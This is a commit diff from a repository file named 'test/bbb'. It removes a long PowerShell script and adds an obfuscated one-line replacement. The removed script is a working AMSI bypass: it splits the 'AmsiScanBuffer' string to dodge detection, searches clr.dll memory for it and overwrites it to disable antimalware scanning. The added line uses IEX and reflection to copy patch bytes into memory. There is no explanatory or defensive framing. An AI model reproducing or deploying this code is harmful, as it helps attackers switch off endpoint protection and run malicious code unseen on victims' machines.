enotkrutoy commited on
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4c42501
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verified ·
1 Parent(s): 8772ff5

Update test/bbb

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  1. test/bbb +1 -164
test/bbb CHANGED
@@ -1,164 +1 @@
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- $PAGE_READONLY = 0x02
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- $PAGE_READWRITE = 0x04
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- $PAGE_EXECUTE_READWRITE = 0x40
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- $PAGE_EXECUTE_READ = 0x20
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- $PAGE_GUARD = 0x100
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- $MEM_COMMIT = 0x1000
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- $MAX_PATH = 260
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-
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- # Helper functions
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- function IsReadable {
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- param ($protect, $state)
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- return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
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- }
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-
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- function PatternMatch {
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- param ($buffer, $pattern, $index)
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- for ($i = 0; $i -lt $pattern.Length; $i++) {
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- if ($buffer[$index + $i] -ne $pattern[$i]) {
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- return $false
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- }
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- }
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- return $true
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- }
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-
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- if ($PSVersionTable.PSVersion.Major -gt 2) {
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-
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-
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- # Create module builder
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- $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
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- $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
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- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
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-
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- # Define structs
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- $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
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- [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
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- $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
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-
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- # Define structs
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- $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
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- [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
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- [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
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- $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
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-
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- # P/Invoke Methods
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- $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
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- $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
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- $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
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- $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
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-
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- # Define [Win32.Kernel32]::VirtualProtect
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- # Define [Win32.Kernel32]::GetCurrentProcess
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- # Define [Win32.Kernel32]::VirtualQuery
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- # Define [Win32.Kernel32]::GetSystemInfo
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- # Define [Win32.Kernel32]::GetMappedFileName
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- # Define [Win32.Kernel32]::ReadProcessMemory
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- # Define [Win32.Kernel32]::WriteProcessMemory
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- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
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- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
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-
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- $Kernel32 = $TypeBuilder.CreateType()
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-
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- $a = "Ams"
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- $b = "iSc"
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- $c = "anBuf"
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- $d = "fer"
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- $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
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- $hProcess = [Win32.Kernel32]::GetCurrentProcess()
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-
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- # Get system information
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- $sysInfo = New-Object Win32.SYSTEM_INFO
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- [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
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-
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- # List of memory regions to scan
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- $memoryRegions = @()
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- $address = [IntPtr]::Zero
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-
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- # Scan through memory regions
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- while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
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- $memInfo = New-Object Win32.MEMORY_INFO_BASIC
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- if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
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- $memoryRegions += $memInfo
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- }
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- # Move to the next memory region
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- $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
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- }
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-
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- $count = 0
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-
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- # Loop through memory regions
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- foreach ($region in $memoryRegions) {
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- # Check if the region is readable and writable
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- if (-not (IsReadable $region.Protect $region.State)) {
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- continue
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- }
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- # Check if the region contains a mapped file
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- $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
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- if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {
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- $path = $pathBuilder.ToString()
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- if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
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- # Scan the region for the pattern
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- $buffer = New-Object byte[] $region.RegionSize.ToInt64()
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- $bytesRead = 0
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- [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead)
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- for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {
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- $found = $True
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- for ($m = 0; $m -lt $signature.Length; $m++) {
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- if ($buffer[$k + $m] -ne $signature[$m]) {
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- $found = $False
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- break
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- }
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- }
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- if ($found) {
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- $oldProtect = 0
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- if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {
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- [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
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- }
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- $replacement = New-Object byte[] $signature.Length
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- $bytesWritten = 0
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- [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten)
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- $count++
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- if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {
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- [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect)
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- }
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- }
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- }
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- }
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- }
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- }
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- }
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- $n::$m($s, $i, $d, $l)
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- $count
 
1
+ IEX ('if(0){{{0}}}' -f $(0 -as [char]) + ';$c = [System.Type]::GetType("System.Runtime.InteropServices.Marshal").GetMethod("Copy", [reflection.bindingflags]"Public,Static", $null, @([Byte[]], [Int32], [IntPtr], [Int32]), $null); $c.Invoke($null, @($P, 0, $A, 6))')